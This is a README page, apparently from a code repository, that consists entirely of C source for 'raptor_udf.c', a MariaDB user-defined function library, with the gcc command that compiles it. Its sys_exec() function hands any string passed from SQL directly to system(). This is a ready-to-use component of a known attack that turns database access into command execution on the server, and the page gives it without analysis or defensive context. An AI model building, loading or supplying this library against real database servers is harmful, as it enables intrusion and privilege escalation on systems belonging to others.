README.md
Rendering markdown...
/*
* raptor_udf.c — Minimal MariaDB UDF for sys_exec()
* Compile: gcc -shared -fPIC -o raptor_udf.so raptor_udf.c
*/
#include <stdlib.h>
#include <string.h>
typedef long long longlong;
typedef char my_bool;
typedef struct {
my_bool maybe_null;
unsigned int decimals;
unsigned long max_length;
char *ptr;
my_bool const_item;
void *extension;
} UDF_INIT;
typedef struct {
unsigned int arg_count;
int *arg_type;
char **args;
unsigned long *lengths;
char *maybe_null;
char **attributes;
unsigned long *attribute_lengths;
void *extension;
} UDF_ARGS;
my_bool sys_exec_init(UDF_INIT *initid, UDF_ARGS *args, char *message) {
if (args->arg_count != 1) {
strcpy(message, "one argument required");
return 1;
}
return 0;
}
longlong sys_exec(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error) {
if (!args->args[0])
return -1;
char *cmd = strndup(args->args[0], args->lengths[0]);
longlong ret = (longlong)system(cmd);
free(cmd);
return ret;
}
void sys_exec_deinit(UDF_INIT *initid) {}